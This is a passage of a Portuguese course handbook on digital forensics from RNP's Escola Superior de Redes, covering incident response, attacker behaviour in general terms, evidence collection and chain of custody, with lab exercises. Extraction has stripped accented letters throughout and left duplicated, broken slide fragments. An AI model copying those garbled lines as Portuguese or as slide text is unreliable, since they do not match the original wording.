Você está na página 1de 187

Segurana

Anlise forense

Anlise forense

Escola Superior de Redes RNP

Copyright 2009, Escola Superior de Redes RNP

Autor
Guilherme Venere
Revisor
Pierre Lavelle
Superviso tcnica
Jacomo Piccolini
Coordenao acadmica
Derlina Miranda
Reviso final
Pedro Sangirardi
Design
Tecnodesign
Coordenao geral
Luiz Coelho
Verso
2.0.2
Todos os direitos reservados, no Brasil, por
Escola Superior de Redes RNP
http://www.esr.rnp.br

Anlise forense
Apresentao
A Escola Superior de Redes da Rede Nacional de Ensino e Pesquisa (RNP) oferece
cursos em tecnologia da informao e da comunicao para quem busca formao
essencialmente prtica. As atividades so situaes-problema semelhantes s que
so encontradas na prtica do profissional de TI. Estas atividades exigem anlise,
sntese e construo de hipteses para a superao do problema. A aprendizagem
torna-se mais efetiva se contextualizada realidade profissional.
Os cursos propostos possuem 40 (quarenta) horas de durao divididas em 10
(dez) sesses de aprendizagem. Os participantes trabalham em grupo ou em
duplas e cada um pode dispor de sua prpria estao de trabalho. O material de
ensino composto de apostilas contendo slides comentados e roteiro de
atividades prticas em laboratrio.

Conhecimentos prvios
\\Principais

ataques, mecanismos e ferramentas de segurana (como firewall,


IDS, VPN) e autenticao ou o curso Segurana de redes e sistemas.

Objetivos
\\Obter

uma viso geral e conceitos de anlise forense

\\Apresentar

os principais procedimentos que devem ser seguidos pelo


investigador

\\Compreender

as particularidades do processo de anlise forense em Linux e


Windows e as informaes que devem ser coletadas em cada situao enfrentada

\\Aprender

a coletar evidncias em uma imagem de disco de um sistema


comprometido

\\Recuperar

evidncias que possam fornecer pistas dos invasores

Escola Superior de Redes RNP

Ao final do curso o aluno ter aprendido a


\\Criar

um CD de ferramentas forenses que poder ser utilizado durante uma


investigao

\\Elaborar

uma cronologia, descrevendo o que aconteceu e quando ocorreu cada


evento do comprometimento investigado

\\Conhecer

a coleta de informaes relacionadas aos programas executados, s


bibliotecas do sistema e portas relacionadas

\\Identificar

o tipo de auditoria a ser realizada

Sumrio
Sesso de aprendizagem 1
Princpios de anlise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Sesso de aprendizagem 2
Ambiente e ferramentas de anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Sesso de aprendizagem 3
Ambiente e ferramentas de anlise forense (parte 2). . . . . . . . . . . . . . . . . . . . . 43
Sesso de aprendizagem 4
Coleta de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Sesso de aprendizagem 5
Recuperao e anlise de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
Sesso de aprendizagem 6
Recuperao e anlise de evidncias (parte 2). . . . . . . . . . . . . . . . . . . . . . . . . 99
Sesso de aprendizagem 7
Linha de tempo e reconstruo do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . 115
Sesso de aprendizagem 8
Anlise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
Sesso de aprendizagem 9
Anlise forense avanada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
Sesso de aprendizagem 10
Anlise forense avanada em Windows (parte 2). . . . . . . . . . . . . . . . . . . . . . . 155
Bibliografia. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181

Escola Superior de Redes RNP

1
Sesso de aprendizagem 1
Princpios de anlise forense
Sumrio da sesso
Princpios de anlise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Motivaes para investigar um incidente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Modo de ao dos atacantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Deteco de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Tipos de sistemas comprometidos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Procedimentos para anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
Cadeia de custdia de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Metodologia para anlise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Atividade 1 Preparando um checklist. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Atividade 2 Funcionamento de um rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Atividade 3 Investigando um computador. . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

Escola Superior de Redes RNP

Princpios de anlise forense

Princpios
p de anlise forense

A resposta a um incidente de segurana est dividida


em seis passos:

Resposta
R
t a incidentes
i id t de
d segurana
Preparao
Identificao
Conteno
Erradicao
R

Recuperao
Acompanhamento

\\Preparao

A empresa define os ativos que


deseja proteger, e as medidas cabveis em caso
de incidente.

\\Identificao

So utilizados mecanismos e
tcnicas para identificar a ocorrncia de um
incidente, e definir a extenso do ataque.

\\Conteno

Deve-se conter o ataque, impedindo


que o invasor consiga acesso a outros sistemas
e minimizando a atividade do atacante.

\\Erradicao

As aes do atacante devem ser erradicadas, com a aplicao


de filtros e impedimento de qualquer atividade do invasor na rede.

\\Recuperao

Os sistemas invadidos devem ser recuperados e reinstalados.

\\Acompanhamento

As tcnicas e vulnerabilidades utilizadas pelo atacante devem


ser estudadas, e medidas devem ser aplicadas para impedir que elas funcionem.

Princpios
p de anlise forense
A empresa d
deve ddefinir
fi i o que um iincidente
id t dde
segurana de acordo com os ativos que deseja
proteger.
t
Incidentes de segurana so eventos que interrompem
o procedimento normal de operao de uma empresa
e causam algum tipo de crise.
Podem ser ataques infra-estrutura de informao de
uma empresa.
p
A preveno dos incidentes crucial.

Princpios
p de anlise forense
Anlise forense o segundo passo no processo de
resposta a incidentes.
Existe uma sobreposio com o primeiro e com o
terceiro passo: o analista forense deve participar do
processo de preparao pr-incidente,

e tambm
do
processo de conteno ps-incidente.
Recuperar e analisar dados da maneira mais imparcial
e livre de distores possvel, para reconstruir os
dados ou o que aconteceu a um sistema no passado.

Anlise forense Sesso de aprendizagem 1

Incidentes de segurana podem ser causados por


qualquer tipo de ataque realizado infra-estrutura
de informao de uma empresa, seja ele um ataque
lgico ou um ataque fsico. Os tipos mais comuns
so ataques lgicos como invases de servidores e
ataques de negao de servios, comprometimento
ou perda de dados e infeco por vrus.
necessrio criar procedimentos que descrevam
aes a tomar no caso da ocorrncia de um incidente
de segurana, inclusive no caso de incidentes inesperados. Deve-se gerar documentos que descrevam os procedimentos de resposta a incidentes, os responsveis
pelas aes, a ao legal que a empresa est disposta
a executar e principalmente um checklist de ao para
o profissional que vai responder ao incidente.
O analista forense deve se preocupar em tentar recuperar as evidncias da forma mais confivel possvel,
evitando contaminar ou destruir evidncias.
Registrando e documentando tudo o que foi feito,
o analista no precisar confiar na memria mais
tarde, no momento de reconstruir os passos que
foram executados durante a coleta de dados ou
apresentar resultados aos superiores.

Por este mesmo motivo bom sempre realizar anlises dos dados em cpias,
mantendo os originais seguros contra modificaes e permitindo que seus passos
sejam repetidos posteriormente.

Princpios
p de anlise forense
Minimizar
Mi
i i perda
d de
d dados
d d
Evitar contaminao dos dados
Registrar e documentar todas as aes
Analisar, impreterivelmente, dados em cpias
Reportar as informaes coletadas
Pi i l
t manter-se
t
i
i l
Principalmente:
imparcial
um erro capital teorizar antes de obter todas as evidncias.

Sherlock Holmes

Motivaes

ppara investigar
g um incidente
Razes
R
para no
iinvestigar
ti um iincidente:
id t
Custo
Demora
Falta de objetividade
Disponibilizao de recursos importantes
P
d
d tempo
t
Processo
que demanda
e recursos, nem
sempre til para a empresa.
mais fcil reinstalar um computador do que realizar
uma investigao.

Durante o processo de anlise forense, comum


aparecerem informaes indicando comprometimento de outros sistemas da empresa ou mesmo
de outras empresas. importante que o analista
forense reporte frequentemente o andamento das
investigaes e os fatos relevantes descobertos,
para que a empresa possa tomar as medidas
necessrias.
preciso que se mantenha total imparcialidade
durante a investigao. Antes de apontar o culpado,
tenha certeza de que ele no inocente.

Motivaes para investigar um incidente


\\Identificar

sinais de ataque Em muitas situaes,


quando uma mquina est comprometida, ela
comea a perder desempenho, pois est sendo
utilizada pelo hacker ou vrus para fins diferentes
daqueles aos quais se destina. Um dos passos
de uma anlise forense tentar identificar sinais
de comprometimento. Isto pode ajudar a empresa
a descobrir se outros servidores que apresentam
o mesmo comportamento esto comprometidos
ou no.

\\Determinar

Motivaes

ppara investigar
g um incidente
Ento,
E
t por que iinvestigar?
ti ?
Identificar sinais de ataque
Determinar a extenso do comprometimento
Reconstruir a ordem dos eventos
Entender o modus operandi do atacante
R
d
Responder:
O qu?
Quando?
Onde?
Como?

Princpios de anlise forense

a extenso do comprometimento
Como foi dito, durante o processo de anlise
forense comum aparecerem informaes sobre
o comprometimento de outros sistemas dentro
ou fora da empresa. Descobrir as mquinas que
foram comprometidas importante para manter
a integridade da informao a ser protegida.

\\Reconstruir

a ordem dos eventos Com


isso possvel descobrir o que o invasor fez
durante o perodo em que teve acesso ao
sistema da empresa. A correlao de eventos
pode ajudar a empresa a determinar o que foi
comprometido, e principalmente quando ocorreu
o comprometimento. muito comum descobrir,
por exemplo, que a empresa j estava invadida
h meses, e que s por algum descuido do
invasor que tudo foi descoberto.

10

Escola Superior de Redes RNP


\\Entender

o modus operandi do atacante Este item faz da anlise forense


uma poderosa ferramenta de proteo contra ataques. Sabendo como
o atacante agiu da primeira vez, a empresa vai poder tomar aes bem
fundamentadas para se proteger contra novos ataques.

Modo de ao
dos atacantes
IInformao
f
a sua maior
i arma.
Conhecendo o modo de operao dos invasores, voc
pode melhorar suas defesas; facilita o trabalho de
investigao, porque voc j sabe o que procurar.
Tcnicas de engenharia social so difceis de
combater: somente um treinamento adequado
pode
q
p
diminuir esse risco.
A maior parte dos ataques segue um mesmo padro.

Modo de ao dos atacantes


claro que nem todos os hackers agem do mesmo
modo, mas pode-se dizer que uma grande parte
deles segue um padro de ao comum. Conhecer
esse padro j um bom comeo para analisar um
sistema que provavelmente foi comprometido.
Normalmente, os ataques se iniciam algum tempo
antes da invaso propriamente dita: o invasor precisa
conhecer sua rede, saber como vai conseguir comprometer seu sistema. Portanto, as atividades de
reconhecimento podem ser o primeiro indcio de que
algo est para acontecer.

Um tipo de teste difcil de detectar um reconhecimento que utiliza tcnicas de


engenharia social. Um simples telefonema pode ser mais eficiente para entregar os
pontos fracos de sua rede do que uma ferramenta poderosa. Neste caso, a proteo fica mais difcil, e s um treinamento adequado poder proteger a empresa.

Modo de ao
dos atacantes
Identificao
Id
tifi d
do alvo
l
Coleta de informaes
Identificao de vulnerabilidades
Comprometimento do sistema
Controle do sistema
I t l d
t
Instalao
de fferramentas
Remoo de rastros
Manuteno do sistema comprometido

Depois de coletar informaes sobre o sistema que


vai invadir, o hacker parte para a invaso. Nesta
hora, j se torna mais difcil detectar as atividades
do invasor. Muitas vezes so utilizadas ferramentas
que simulam uma conexo vlida, ou ento tcnicas
para esconder o ataque, como criptografia ou tneis
de protocolos.
Mecanismos de deteco de intruso so muito
teis. Posteriormente, estes mesmos mecanismos
podero ser atualizados com as informaes coletadas aps um ataque. Analisando a tcnica utilizada
pelo invasor, a empresa poder criar mecanismos
mais eficientes para se defender.

Aps comprometer o sistema, o invasor normalmente tenta tomar o controle


do sistema. O invasor precisa ento tentar adquirir privilgios de administrador.
Ferramentas que monitorem a integridade do sistema podem auxiliar a detectar
uma invaso antes que ela se torne mais sria. Programas como Tripwire permitem monitorar a integridade dos arquivos de uma mquina.

Anlise forense Sesso de aprendizagem 1

11

Aps conseguir o acesso privilegiado ao sistema, o invasor tenta apagar os rastros de


sua existncia, para impedir que ele seja detectado enquanto estiver realizando suas
aes maldosas. Neste momento, comum o invasor instalar um rootkit, um pacote
de ferramentas que modifica o sistema para esconder qualquer trao da existncia
do hacker na mquina. Ao instalar uma ferramenta como esta, o hacker praticamente
passa a controlar a mquina. Pode-se utilizar uma ferramenta de deteco de rootkits,
tal como o Chkrootkit, para tentar detectar a presena dessas ferramentas. Outra
alternativa monitorar a rede para descobrir se a mquina est comprometida.
Hoje em dia, sistemas comprometidos tm um alto valor de troca no submundo da internet. Ferramentas de negao de servio podem ser instaladas em diversos sistemas
comprometidos, e o poder somado desses sistemas pode ser trocado no submundo
por informao ou mesmo por dinheiro. Como podemos ver, a invaso de sistemas no
s uma diverso para alguns invasores, podendo ser um negcio bem rentvel.
Uma caracterstica do comportamento de invasores a manuteno do sistema comprometido. muito comum ver mquinas comprometidas atualizadas pelo hacker, corrigindo
as falhas de segurana que permitiram a sua entrada. Para garantir que podero voltar no
futuro, os invasores costumam instalar back-doors, servios clandestinos que permitem ao
invasor se conectar mais tarde com as permisses privilegiadas que conseguiu.

Deteco
de ataques
q

Deteco de ataques

Padro
P
d para d
detectar
t t mais
i ffacilmente
il
t um ataque
t
:
Monitoramento da rede
Deteco de assinaturas de ataques e modificaes
no sistema
Utilizao de ferramentas de auditoria
Principalmente conhecimento de seus sistemas e de
Principalmente,
sua rede

Tipos
p de sistemas comprometidos
p
Sistema
Si
t
d
desligado:
li d
Sem atividade no disco rgido
Evidncias volteis perdidas
Sem atividade do invasor
Sem necessidade de conteno do ataque
P i l
t algumas
l
id i fforam modificadas
difi d
Possivelmente
evidncias

Princpios de anlise forense

Tipos de sistemas comprometidos


Neste caso, a coleta de evidncias fica mais fcil: as
informaes volteis presentes na memria do computador ou na tela foram perdidas. O sistema agora
contm apenas os arquivos que foram gravados no
disco rgido, evidncias que devero ser coletadas.

12

Escola Superior de Redes RNP

Tipos
p de sistemas comprometidos
p
Sistema
Si
t
liligado:
d
Atividade no disco rgido
Atividade de rede
Evidncias volteis
Possibilidade de atividade do invasor
N
id d dde conter
t o ataque
t
Necessidade
Modificao das evidncias

Tipos
p de sistemas comprometidos
p
Sistema
Si
t
liligado:
d
Verificar se o sistema est comprometido
No comprometer as evidncias
Conter o ataque
Coletar evidncias
P
ff ou shutdown?
h td
?
Power-off
Power-off: no modifica evidncias, mas pode corromper os
dados
Shutdown: garante integridade dos dados, mas pode
modificar evidncias

A ao do analista forense tem que ser muito cuidadosa, para no despertar a ateno do invasor, no
comprometer evidncias, mas tambm para impedir
que mais dano seja causado. Por outro lado, em um
sistema ligado, o analista forense tem a possibilidade
de coletar informaes que no estariam disponveis
em um sistema desligado.
Por exemplo, possvel coletar informaes de
rede, permitindo identificar com mais segurana se
o sistema est comprometido ou no, e tambm
identificar outras mquinas na rede da empresa que
tambm possam estar comprometidas.
Tudo o que for feito poder alterar as evidncias,
inclusive no fazer nada. Portanto, as aes do analista forense tm que ser bem pensadas, e muito
importante que todas as aes sejam documentadas.
A primeira coisa a fazer tentar identificar, da forma
menos intrusiva possvel, se o sistema suspeito est
ou no comprometido. Algumas tcnicas, como
realizar um scan por portas abertas no sistema, ou
procurar por arquivos suspeitos no espao de disco,
devem ser evitadas a todo custo. Estas aes podem
disparar alarmes que alertariam o invasor de que ele
foi descoberto, alm de comprometer evidncias.

Dependendo da criticidade do sistema, muitas vezes no ser possvel simplesmente


desligar a mquina da energia. Um servidor de banco de dados teria informaes
corrompidas se fosse desligado da tomada. Ou ento, ao tentar executar uma parada
do sistema, mecanismos de proteo instalados pelo invasor poderiam apagar todo o
disco, provocando o desaparecimento de evidncias e dados importantes.

Procedimentos ppara anlise forense


A reao precisa ser rpida,
rpida por isso esteja preparado
Tenha em mos um checklist de aes e todas as
ferramentas necessrias
Esterilize as mdias antes de coletar evidncias
C l t primeiro
Colete
i i as evidncias
id i mais
i volteis
lt i
Crie e utilize uma dirt list: uma lista de palavras, termos e
d indicar
i di um comprometimento
ti
t
nomes que podem
Esta lista deve ser utilizada em todo o processo de
in estigao e atualizada
investigao
at ali ada constantemente
Crie um registro para cada evidncia e faa um relatrio da
sua investigao

Anlise forense Sesso de aprendizagem 1

Procedimentos para anlise forense


A primeira fase de uma investigao forense a preparao, como foi dito anteriormente: saber o que
pode e o que no pode ser desligado, elaborar um
checklist de aes que devem ser tomadas, e principalmente preparar as ferramentas necessrias.
importante tambm esterilizar as mdias onde sero
gravadas as evidncias, para evitar a contaminao
com dados previamente gravados nas mesmas.

13

Esterilizar as mdias significa eliminar quaisquer dados que possam existir nos discos
e dispositivos utilizados para gravar suas evidncias. Normalmente, basta executar
um procedimento de gravao de zeros (byte 00) em todos estes dispositivos,
sobrescrevendo qualquer dado que exista ali, antes de gravar qualquer evidncia.
Evidncias volteis so aquelas que se perdem mais facilmente, caso o sistema
seja desligado ou aes executadas pelo hacker ou pelo analista sobrescrevam
informaes. Exemplos: dados na memria RAM, processos em execuo, conexes estabelecidas, entre outros.
Uma maneira de ajudar o analista forense a procurar evidncias utilizando uma
dirt list, ou lista maliciosa, que deve conter palavras, termos, nomes de ferramentas
e pessoas que tenham ligao com ataques, grupos de hackers, atividades criminosas, entre outros. Com isso, o analista poder realizar pesquisas nas evidncias
procurando pela presena dessas palavras-chave. Esta lista deve ser atualizada
constantemente para incluir palavras e nomes encontrados durante a investigao.

Procedimentos ppara anlise forense


O d de
Ordem
d coleta
l t de
d evidncias:
id i
Informaes sobre o ambiente (ambiente operacional,
f t dda sala
fotos
l e da
d tela
t l ddo computador)
t d )
Cpia binria da memria RAM
Informaes sobre processos em execuo, conexes de
rede, registros, cache etc.
Informaes sobre o trfego de rede
Cpias
p dos discos rgidos
g
Possveis mdias removveis (fitas, disquetes, CD-ROM)
Material impresso (adesivos
(adesivos, folhas impressas)

Procedimentos ppara anlise forense


Criar
C
i registro
i t para cada
d evidncia
id i
Criar assinatura das evidncias:
MD5
SHA1
SHA256

Evitar comprometer evidncias


Criar relatrio detalhado da investigao:
Comandos executados
Pessoas entrevistadas
E id i coletadas
Evidncias
l t d

Princpios de anlise forense

Toda informao coletada durante a avaliao inicial


e durante a investigao deve ser documentada e
autenticada. Esta autenticao pode ser feita utilizando algum algoritmo de hash de dados, tal como
MD5, SHA1, SHA256 ou outro algoritmo de hash
equivalente.
Tenha sempre em mos um checklist que indique o que
fazer e quando. O checklist deve ser o mais minucioso
possvel, no deixando dvidas sobre as aes a serem
tomadas. Se possvel, ele deve incluir os comandos e
argumentos que precisam ser usados em cada etapa.
Na coleta de evidncias, devemos seguir a ordem de
volatilidade das informaes: informaes volteis
so aquelas que se perdem com mais facilidade.
H poucos anos, utilizava-se o algoritmo MD5 como
padro, mas devido a pesquisas recentes sobre
ataques contra a segurana desse algoritmo e do
prprio SHA1, a comunidade internacional comeou a
desenvolver novos algoritmos para substitu-los.

Teoricamente, estes algoritmos tm um baixo ndice


de coliso, isto , dificilmente geram uma mesma
chave criptogrfica a partir de dados diferentes.
Entretanto, pesquisas detectaram uma possibilidade
de gerar colises com taxas de probabilidade bem menores do que deveriam
ocorrer naturalmente com estes algoritmos. Por isso, recomenda-se a utilizao
de algoritmos melhores e mais atuais.

14

Escola Superior de Redes RNP

Cadeia de custdia de evidncias


Registro
R
i t d
detalhado
t lh d ddo modo
d como as evidncias
id i
foram tratadas durante a anlise forense, desde a
coleta
l t at
t os resultados
lt d fifinais.
i
Este registro deve conter informaes sobre quem
teve acesso s evidncias ou s cpias utilizadas.
Durante um p
processo judicial,
este registro
vai
j
g
garantir que as provas no foram comprometidas.
Cada evidncia coletada deve ter um registro de
custdia associada a ela.

Cadeia de custdia de evidncias


Este registro visa garantir que as evidncias no
foram modificadas ou comprometidas, acidentalmente ou propositalmente, durante o processo de
anlise forense. Isto importante principalmente se
o caso vai ser tratado judicialmente. Em juzo, ser
necessrio comprovar que as evidncias so vlidas
legalmente, e um registro mal feito pode colocar a
perder um caso inteiro. Um cuidado especial deve
ser dado s evidncias digitais, pois elas so mais
facilmente modificadas ou destrudas.

Cadeia de custdia de evidncias


Um registro de custdia deve conter pelo menos os
seguintes itens:
Data e hora de coleta da evidncia
De quem a evidncia foi apreendida
Informaes sobre o hardware
hardware, como fabricante,
fabricante modelo,
modelo
nmeros de srie etc.
Nome da pessoa que coletou a evidncia
Descrio detalhada da evidncia
Nome e assinatura das pessoas envolvidas
Identificao do caso e da evidncia (tags)
Assinaturas MD5/SHA1 das evidncias
evidncias, se possvel
Informaes tcnicas pertinentes

Metodologia
g ppara anlise forense
Procedimentos do analista forense so invariveis
Utilidade de metodologia bem definida
Os passos de uma investigao so cclicos:
j
Cada ppasso alimenta o conjunto
de evidncias e
fornece novas bases para o investigador procurar
fase.
ppor mais evidncias na prxima
p
Os passos devem ser repetidos at que:
Chegue se a uma concluso
Chegue-se
No existam mais informaes teis a encontrar

Metodologia para anlise forense


Independentemente do sistema invadido ou do
mtodo utilizado na invaso, os procedimentos seguidos pelo analista forense no variam. Uma metodologia bem definida facilita o trabalho do investigador e
ajuda a mant-lo focado.

Os passos que devem ser seguidos em uma investigao so cclicos: cada passo alimenta o conjunto
de evidncias e fornece novas bases para o investigador procurar por mais evidncias na prxima
fase. Os passos devem ser repetidos at que se
consiga chegar a uma concluso, ou at decidir que no h mais informaes
teis a serem encontradas.
O primeiro passo da investigao das evidncias tentar estabelecer uma linha
de tempo para o ataque e para as evidncias encontradas durante a fase inicial de
anlise. Com a linha de tempo, o investigador pode ter uma base para procurar
por novas evidncias, arquivos e dados que possam ter relao com o caso.

Anlise forense Sesso de aprendizagem 1

15

O passo seguinte analisar esses arquivos e dados para identificar sua relao
com o caso, funcionalidades e informaes importantes que possam conter.
A seguir, o investigador deve realizar uma anlise no nvel de dados do sistema
operacional, procurando por strings e bytes que possam ser importantes para a
investigao. Deve-se voltar linha de tempo do incidente, pra inserir os novos
dados coletados e associar essas informaes com o caso. Com essas novas
informaes, o investigador ter uma nova base para procurar por mais evidncias, e assim o processo se repete at que o caso seja solucionado ou se decida
que o esforo e o custo da investigao j no valem mais a pena.
Finalmente, quando j tiver sido realizada uma anlise o mais completa possvel,
deve-se gerar um relatrio com os resultados encontrados e tcnicas utilizadas,
e uma concluso para o caso alcanada, com base nas evidncias coletadas
durante a investigao.

Concluses
O sucesso da investigao depende de uma preparao
prvia
Informao a melhor arma contra os invasores
Tenha em mos:
Todas as informaes sobre o sistema comprometido
Todas as ferramentas necessrias
No comprometa as evidncias
A cadeia de custdia de evidncias garante uma
representao fiel dos dados originais
Adote uma metodologia e seja imparcial e preciso em suas
aes

Princpios de anlise forense

Concluses
A seguir prepararemos o ambiente de anlise forense
e conheceremos as ferramentas necessrias para a
investigao.

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 1

16

1
Sesso de aprendizagem 1
Princpios de anlise forense
Roteiro de atividades
Tpicos e conceitos
\\Preparao

para uma investigao e identificao de formas de ataque.

Competncias tcnicas desenvolvidas


\\Elaborao

de um checklist, atualizao em relao s formas de ataque

rootkit;
\\Investigao

do comprometimento de computadores.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa.

Tempo previsto para as atividades


\\90-120

minutos

Escola Superior de Redes RNP

18

Atividade 1 Preparando um checklist


1. Este exerccio deve ser feito em dupla. Suponha que em sua empresa
existe um servidor web considerado crtico, que hospeda todo o sistema
de gerenciamento de projetos da empresa e no pode ficar parado. Um
backup dirio dos dados realizado constantemente. Deve-se supor que
os integrantes da dupla fazem parte da comisso que est definindo os
procedimentos a adotar quando ocorrer um incidente de segurana
envolvendo a mquina do servidor. Pensando em todas as implicaes
destas aes, defina o que deve ser feito no caso de:
1. Ataque de negao de servio;
2. Comprometimento da mquina por ao hacker.
Discuta com seu parceiro os procedimentos e monte um checklist das aes que
devem ser tomadas. Procure ser o mais objetivo possvel, de modo que uma pessoa que siga o checklist no precise tomar nenhuma deciso. Pense que em um
momento de crise, a pessoa referida no pode perder tempo tomando decises.

Atividade 2 Funcionamento de um rootkit


Junto com um colega, pesquise na internet informaes sobre rootkits que


os invasores usam para tomar controle de um servidor, tanto em servidores
Unix quanto Windows. Procure informaes sobre um rootkit da sua escolha
para saber suas funcionalidades, e os modos para detectar a presena dele
em uma mquina. Elabore um documento sobre este rootkit, descrevendo o
modus operandi do mesmo, funcionalidades, dificuldade de deteco e, se
possvel, formas de detect-lo e remov-lo do sistema. O instrutor vai
escolher alguns alunos para apresentar este documento aos demais.

Atividade 3 Investigando um computador


(Para fazer em dupla) Voc deve verificar se a mquina de seu companheiro


est comprometida. Lembre-se dos passos necessrios para garantir a
integridade das evidncias. Usando as ferramentas do sistema, voc deve
descobrir todos os servios TCP ativos na mquina. Para este exerccio,
vamos considerar como comprometido o servio Bootp (porta 68) no Linux,
ou o servio Netbios (porta 445) no Windows. Se o servio estiver sendo
executado, a mquina est comprometida. Faa um relatrio de todas as
aes tomadas durante a investigao, bem como um registro de custdia
de qualquer evidncia coletada.
Como sugesto, utilize o roteiro criado na Atividade 1; ele facilita a investigao?
Quais foram os problemas encontrados ao seguir o roteiro? Sugira modificaes ao
roteiro.

Anlise forense Sesso de aprendizagem 1

2
Sesso de aprendizagem 2
Ambiente e ferramentas de anlise forense
Sumrio da sesso
Pr-requisitos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Hardware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Sistema operacional. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Live CD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Hardware forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
Pacote forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Programas especficos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Preparao da investigao. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Preparao do ambiente. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Coletando informaes dos processos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Preservao do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Outras formas de preservao do disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
Atividade 1 Kit do investigador. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
Atividade 2 Coleta de informaes volteis . . . . . . . . . . . . . . . . . . . . . . . . . . 42

20

Escola Superior de Redes RNP

Pr-requisitos

Pr-requisitos
A primeira ao do investigador coletar evidncias
no local onde ocorreu a invaso.
Aps isso, entra em cena a anlise de mdias.
O investigador precisar analisar dezenas de
gigabytes de dados, e por isso deve contar com um
ambiente propcio, com ferramentas que facilitem seu
trabalho.

Pr-requisitos
O objetivo da anlise de mdias coletar evidncias que
comprovem ou refutem a invaso.
As evidncias originais devem ser preservadas, por isso a
anlise deve ser feita em cpias das mdias.
O analista deve evitar comprometer as evidncias, e
garantir que todos os resultados possam ser
reproduzidos, o que envolve a criao e manipulao de
dezenas de gigabytes de dados.
Alm disso, o sistema invadido no confivel, portanto o
investigador precisa dispor de um ambiente confivel e
controlado para realizar a investigao.

Durante o atendimento inicial ao incidente, o investigador vai precisar da recuperao de arquivos em


memria, coleta de cpias fiis dos discos rgidos e
dispositivos de armazenagem presentes na mquina
investigada, cpia da memria RAM, coleta de informaes de conexes de rede, entre outros.
Em alguns incidentes, onde ocorre o envolvimento
de autoridades policiais, necessrio manter sob
guarda o disco original da mquina envolvida no incidente. No Brasil, somente um perito autorizado pode
coletar, de forma legal, evidncias na cena de um
incidente. A empresa ou responsvel pela mquina
deve garantir apenas armazenamento e custdia
seguros do equipamento.
A utilizao de hashes MD5/SHA1 garante que as evidncias coletadas durante uma investigao possam
ser comparadas posteriormente, caso seja necessrio
refazer os passos da anlise forense. Duas evidncias
coletadas com a mesma tcnica e que tenham os
mesmos hashes so garantidamente iguais.

Em um sistema invadido, o hacker pode ter modificado arquivos, kernel, bibliotecas compartilhadas,
mdulos carregados. Portanto, nenhum arquivo existente na mquina confivel.
Se existir um rootkit e o investigador utilizar os comandos do sistema para listar
processos ou arquivos, no ver as informaes escondidas pelo rootkit. O investigador deve sempre utilizar suas prprias ferramentas e bibliotecas.

Hardware

Hardware
Quanto mais memria RAM e mais processamento
houver, melhor.
O espao livre em disco deve ser generoso, algumas
vezes podendo analisar centenas de gigabytes.
O sistema deve ter baias para conectar os discos de
evidncias.
Um notebook imprescindvel quando no for
possvel remover o disco de evidncia.
Alm disso, o investigador deve dispor de
equipamentos de rede diversos.

O sistema deve ter baias para conectar os discos


de evidncias. De preferncia, as baias devem ser
configuradas para jamais iniciarem o sistema a partir
dos discos contidos nelas.

Um notebook imprescindvel quando no for possvel remover o disco de evidncia. Este notebook
deve conter as mesmas ferramentas da estao
forense. Alm disso, o investigador deve dispor de
equipamentos de rede diversos: hubs, cabos crossover e normais, placas de rede normais e wireless,
disco rgido externo (USB e paralelo), bem como um equipamento para realizar
cpias de disco automaticamente.

Anlise forense Sesso de aprendizagem 2

21

Sistema operacional
Entre os pontos que devem ser levados em
considerao na hora de escolher o sistema
operacional, podemos citar os seguintes:
Familiaridade do investigador com o sistema
operacional
Disponibilidade de ferramentas
Capacidade do sistema operacional de reconhecer
diversos tipos de mdias ou sistemas de arquivos
diferentes
Mecanismos de segurana disponveis no sistema
operacional
